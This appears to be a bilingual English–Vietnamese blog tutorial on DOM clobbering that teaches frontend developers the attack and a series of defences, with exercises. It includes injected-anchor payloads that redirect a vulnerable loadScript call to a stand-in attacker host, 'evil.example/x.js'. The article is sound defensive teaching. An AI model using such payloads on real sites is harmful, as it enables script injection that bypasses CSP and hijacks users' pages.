jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 12 — DOM Clobbering

Advanced track: how injected id/name attributes overwrite the globals your JavaScript trusts — no script needed — why a script-blocking CSP does not stop it, and how to defend. With a live demo and exercises.

Part 12 — Advanced track in the Web Security for Frontend Devs series {Phần 12 — Nhánh nâng cao trong series Web Security for Frontend Devs}. Previous {Trước}: Part 11 — Prototype Pollution · Next {Tiếp}: Part 13 — Strict CSP & CSP Bypasses.

Part 11 showed a scriptless attack that poisons object defaults {Phần 11 cho thấy một tấn công không cần script làm hỏng mặc định của object}. DOM clobbering is its sibling on the DOM side: attacker HTML that contains no JavaScript at all can overwrite the global variables and object properties your code reads — purely through id and name attributes {DOM clobbering là anh em của nó phía DOM: HTML kẻ tấn công không chứa JavaScript vẫn ghi đè biến global và property mà code bạn đọc — chỉ qua thuộc tính idname}. It is the attack you reach for when injection is possible but a strict CSP has shut the door on <script> {Đây là tấn công dùng khi inject được nhưng CSP nghiêm đã đóng cửa với <script>}.


The browser feature being abused {Tính năng trình duyệt bị lạm dụng}

For legacy compatibility, browsers expose named DOM elements as properties {Vì tương thích cũ, trình duyệt phơi các phần tử DOM có tên thành property}:

  • An element with id="foo" is reachable as window.foo (and document.foo for some elements) {Phần tử id="foo" truy cập được qua window.foo}.
  • Form controls with name="bar" are reachable as form.bar {Control form có name="bar" truy cập qua form.bar}.
  • Multiple elements sharing a name produce an HTMLCollection, and nested names chain: <a id="x"><a id="x" name="y"> makes window.x.y resolve to an element {Nhiều phần tử cùng tên tạo HTMLCollection, và tên lồng nhau nối chuỗi: window.x.y trỏ tới một phần tử}.
<!-- harmless-looking HTML, zero scripts -->
<a id="config"></a>
window.config; // → the <a> element, not undefined

This is named property access on window/document/forms {Đây là truy cập property theo tên}. It becomes a vulnerability when your code reads a global or property it assumes is either your value or undefined, and an attacker can inject an element that clobbers it {Nó thành lỗ hổng khi code bạn đọc một global/property mà bạn cho rằng hoặc là giá trị của bạn hoặc undefined, và kẻ tấn công inject được phần tử ghi đè nó}.

injected HTML — no <script> <a id="CONFIG" name="url" href="//evil"> window.CONFIG now points at the <a> element if (window.CONFIG) { loadScript(CONFIG.url) // //evil fix getElementById + instanceof check; sanitize id/name CSP that blocks scripts does NOT stop DOM clobbering — it is pure HTML
DOM clobbering: injected HTML names (no <script>) overwrite a global lookup, redirecting trusted code

A realistic vulnerable pattern {Một mẫu lỗ hổng thực tế}

A common idiom: read an optional global config and fall back to a default {Thành ngữ phổ biến: đọc global config tùy chọn rồi fallback mặc định}.

<!-- the app expects this global to be set by a trusted inline script, or be absent -->
<script>
  // window.CONFIG may be defined by the server; otherwise undefined
</script>
// ❌ VULNERABLE — trusts a global that the DOM can fabricate
const endpoint = (window.CONFIG && window.CONFIG.url) || '/api/default';
loadScript(endpoint);

Now suppose the page renders user-influenced HTML (a comment, a profile field, a Markdown body) and the sanitizer allows id/name attributes — common, because they seem harmless {Giả sử trang render HTML do người dùng chi phối mà sanitizer cho phép id/name — phổ biến vì trông vô hại}. The attacker injects {Kẻ tấn công inject}:

<a id="CONFIG"></a>
<a id="CONFIG" name="url" href="https://evil.example/x.js"></a>

Now window.CONFIG is an HTMLCollection, window.CONFIG.url is the second anchor, and reading .url… actually returns the element {Giờ window.CONFIGHTMLCollection, window.CONFIG.url là anchor thứ hai}. Because anchors stringify to their href, code that concatenates or passes it to loadScript can be steered to an attacker URL — without a single script tag {Vì anchor stringify thành href, code nối chuỗi hoặc đưa vào loadScript bị lái tới URL kẻ tấn công — không cần thẻ script nào}.

Mental model {Mô hình tư duy}: DOM clobbering turns the namespace into the attack surface. The attacker does not run code — they rename the furniture so your trusted code grabs the wrong object {DOM clobbering biến không gian tên thành bề mặt tấn công. Kẻ tấn công không chạy code — họ đổi tên đồ đạc để code tin cậy của bạn cầm nhầm object}.


Why CSP does not save you here {Vì sao CSP không cứu bạn ở đây}

A strict CSP (script-src 'self' 'nonce-…') from Part 3 blocks inline and third-party scripts {CSP nghiêm từ Phần 3 chặn script inline và bên thứ ba}. DOM clobbering ships no script — just <a>, <form>, <input>, <img> with id/name {DOM clobbering không gửi script — chỉ <a>, <form>, <input>, <img> kèm id/name}. The malicious effect is produced entirely by the browser’s named-access feature acting on benign markup, so CSP’s script-src is irrelevant {Hiệu ứng độc do tính năng truy cập theo tên của trình duyệt tạo ra trên markup vô hại, nên script-src của CSP không liên quan}. This is exactly why it is a favorite CSP-bypass primitive: when <script> injection fails, clobbering a global that a trusted, nonce’d script later reads can still hijack behavior {Đây chính là lý do nó là primitive vượt CSP ưa thích}.


Try it — live DOM-clobbering playground {Thử ngay — sân chơi DOM clobbering}

Inject HTML snippets and watch how window.CONFIG, a form field lookup, and a “is this my element?” check respond — then flip on the hardened reads and see the attack fail {Inject các đoạn HTML và xem window.CONFIG, tra cứu field form, và kiểm “đây có phải phần tử của tôi?” phản ứng thế nào — rồi bật các cách đọc đã vá và thấy tấn công thất bại}.

Open the full demo {Mở demo đầy đủ}: /tools/dom-clobbering-demo/.


Defenses {Phòng thủ}

Defense 1 — never read globals you didn’t define explicitly {Phòng thủ 1 — đừng đọc global bạn không định nghĩa rõ}

Source config from a place the DOM cannot fabricate: a module export, a typed const, or a single JSON blob you parse — not window.SOMETHING {Lấy config từ nơi DOM không thể bịa: export module, const có kiểu, hay một JSON bạn parse — không phải window.SOMETHING}.

// ✅ config lives in a module, not on window
import { config } from './config.js';
loadScript(config.url);

Defense 2 — resolve elements with document.getElementById + instanceof {Phòng thủ 2 — lấy phần tử bằng document.getElementById + instanceof}

If you must look up by id, use the explicit API and verify the type — a clobbered name often is not the element type you expect, or is an HTMLCollection {Nếu phải tra theo id, dùng API rõ ràng và kiểm kiểu — tên bị clobber thường không phải kiểu bạn mong, hoặc là HTMLCollection}:

// ✅ explicit lookup + type guard
const el = document.getElementById('config');
if (el instanceof HTMLScriptElement) {
  // safe to read el.src / el.dataset
}

getElementById always returns a single Element | null, never an HTMLCollection, removing the chaining trick window.x.y {getElementById luôn trả Element | null, không bao giờ HTMLCollection, loại bỏ mẹo nối chuỗi window.x.y}.

Defense 3 — guard truthiness and prototype methods {Phòng thủ 3 — phòng truthy và method prototype}

Clobbering can also overwrite expected properties/methods on objects accessed by name {Clobbering còn ghi đè property/method mong đợi trên object truy cập theo tên}. When reading from a form or a named scope, prefer methods that the DOM cannot shadow {Khi đọc từ form hay scope có tên, ưu tiên method DOM không che được}:

// ❌ form.submit might be an <input name="submit"> element, not the method
form.submit();

// ✅ borrow the real method
HTMLFormElement.prototype.submit.call(form);

The same idea applies to form.length, form.id, etc. — a name="length" field clobbers the property {Ý tương tự cho form.length, form.id… — field name="length" ghi đè property}.

Defense 4 — sanitize with a strict allow-list (and consider dropping id/name) {Phòng thủ 4 — sanitize với allow-list nghiêm (cân nhắc bỏ id/name)}

The real fix for injected HTML is the same as Part 2: sanitize {Fix thực cho HTML bị inject giống Phần 2: sanitize}. DOMPurify has a SANITIZE_DOM defense and, more importantly, you can forbid the attributes that enable clobbering when the content does not need them {DOMPurify có phòng vệ SANITIZE_DOM, và quan trọng hơn, bạn có thể cấm các thuộc tính cho phép clobbering khi nội dung không cần}:

import DOMPurify from 'dompurify';

// SANITIZE_DOM (on by default) blocks clobbering of existing document props;
// dropping id/name removes the named-access surface entirely.
const clean = DOMPurify.sanitize(dirty, {
  SANITIZE_NAMED_PROPS: true, // namespaces id/name so they can't clobber
  FORBID_ATTR: ['id', 'name'], // strongest if your content doesn't need them
});
container.innerHTML = clean;

SANITIZE_NAMED_PROPS prefixes id/name values so they no longer collide with real properties; FORBID_ATTR removes them outright {SANITIZE_NAMED_PROPS thêm tiền tố cho id/name để không còn va chạm property thật; FORBID_ATTR gỡ hẳn}.

Defense 5 — Trusted Types as a backstop {Phòng thủ 5 — Trusted Types làm lớp chặn}

As in Part 2, routing every HTML sink through an audited Trusted Types policy means raw injected strings cannot reach innerHTML un-sanitized, which is where the clobbering markup would otherwise land {Như Phần 2, đưa mọi sink HTML qua policy Trusted Types đã audit nghĩa là chuỗi inject thô không tới được innerHTML chưa sanitize}.


Prevention checklist {Checklist phòng tránh}

  1. Treat window.X / document.X lookups as untrusted if any injected HTML reaches the page {Coi tra cứu window.X / document.Xkhông tin cậy nếu có HTML inject vào trang}.
  2. Read config from modules / parsed JSON, never named globals {Đọc config từ module / JSON parse, không phải global theo tên}.
  3. Resolve elements with getElementById + instanceof {Lấy phần tử bằng getElementById + instanceof}.
  4. Call DOM methods via Prototype.method.call(el) when the object came from a named scope {Gọi method DOM qua Prototype.method.call(el) khi object đến từ scope có tên}.
  5. Sanitize injected HTML; enable SANITIZE_NAMED_PROPS or forbid id/name {Sanitize HTML inject; bật SANITIZE_NAMED_PROPS hoặc cấm id/name}.
  6. Remember: CSP script-src does not stop clobbering — it is pure HTML {Nhớ: script-src của CSP không chặn clobbering — đây là HTML thuần}.

Bài tập / Exercises

1. Why does const x = document.getElementById('user') resist clobbering better than const x = window.user? {Vì sao getElementById('user') chống clobbering tốt hơn window.user?}

Solution {Lời giải}

getElementById returns a single Element | null via an explicit, type-stable API — it never returns the chained HTMLCollection that window.user.something exploits, and it cannot be shadowed by an unrelated global {getElementById trả Element | null qua API rõ ràng, ổn định kiểu — không bao giờ trả HTMLCollection nối chuỗi mà window.user.something lạm dụng, và không bị một global khác che}. You should still add an instanceof check before using element-specific properties {Vẫn nên thêm kiểm instanceof trước khi dùng property riêng của phần tử}.

2. Given <form id="login"><input name="submit"></form>, what breaks when JS calls loginForm.submit() and how do you fix it? {Với form trên, gì hỏng khi JS gọi loginForm.submit() và sửa thế nào?}

Solution {Lời giải}

loginForm.submit is now the <input name="submit"> element (named control access), not the form’s submit() method, so calling it throws “not a function” {loginForm.submit giờ là phần tử <input name="submit">, không phải method submit(), nên gọi sẽ ném “not a function”}. Fix by borrowing the real method: HTMLFormElement.prototype.submit.call(loginForm) {Sửa bằng mượn method thật: HTMLFormElement.prototype.submit.call(loginForm)}.

3. Your sanitizer keeps id and name because designers use anchors like <h2 id="intro">. How do you keep in-page anchors working while killing the clobbering surface? {Sanitizer giữ id/name vì designer dùng anchor <h2 id="intro">. Làm sao giữ anchor trong trang mà vẫn diệt bề mặt clobbering?}

Solution {Lời giải}

Enable DOMPurify’s SANITIZE_NAMED_PROPS, which prefixes user id/name values (e.g. user-content-intro) so anchors still resolve within the rendered fragment but no longer collide with window.* / property names your code reads {Bật SANITIZE_NAMED_PROPS của DOMPurify, nó thêm tiền tố cho id/name của user nên anchor vẫn hoạt động trong fragment mà không còn va chạm tên window.* / property code bạn đọc}. Alternatively scope anchors via a different mechanism and FORBID_ATTR: ['id','name'] {Hoặc dùng cơ chế khác cho anchor và cấm id/name}.

Stretch {Nâng cao}: In the demo, clobber window.CONFIG.url to an attacker URL using two anchors, then switch the reader to getElementById + instanceof HTMLScriptElement and confirm the hijack fails {Trong demo, clobber window.CONFIG.url tới URL kẻ tấn công bằng hai anchor, rồi đổi reader sang getElementById + instanceof và xác nhận hijack thất bại}.


Key takeaways {Điểm chính}

  • DOM clobbering overwrites globals/properties via injected id/name attributes — no script required {ghi đè global/property qua thuộc tính id/name inject — không cần script}.
  • It abuses the browser’s named property access (window.id, form.name, chained collections) {Lạm dụng truy cập property theo tên của trình duyệt}.
  • CSP script-src does not stop it — that is why it is a CSP-bypass primitive {script-src của CSP không chặn — nên nó là primitive vượt CSP}.
  • Defend by not trusting named globals, using getElementById + instanceof, borrowing prototype methods, and sanitizing id/name {Phòng bằng không tin global theo tên, dùng getElementById + instanceof, mượn method prototype, sanitize id/name}.
  • With Part 11, these two scriptless attacks complete the picture: the browser will trust defaults and names unless you make your code explicit {Cùng Phần 11, hai tấn công không cần script này hoàn thiện bức tranh: trình duyệt sẽ tin mặc địnhtên trừ khi code bạn rõ ràng}.

Next up {Tiếp theo}

Part 13 — Strict CSP & CSP Bypasses: why the host-allowlist CSPs most teams ship get bypassed (JSONP, open redirects, <base> hijacks, scriptless exfiltration) — and the nonce + 'strict-dynamic' shape that actually holds {Phần 13 — Strict CSP & CSP Bypasses: vì sao CSP allowlist host hầu hết team ship bị vượt — và dạng nonce + 'strict-dynamic' thực sự trụ được}. Continue to Part 13 — Strict CSP & CSP Bypasses.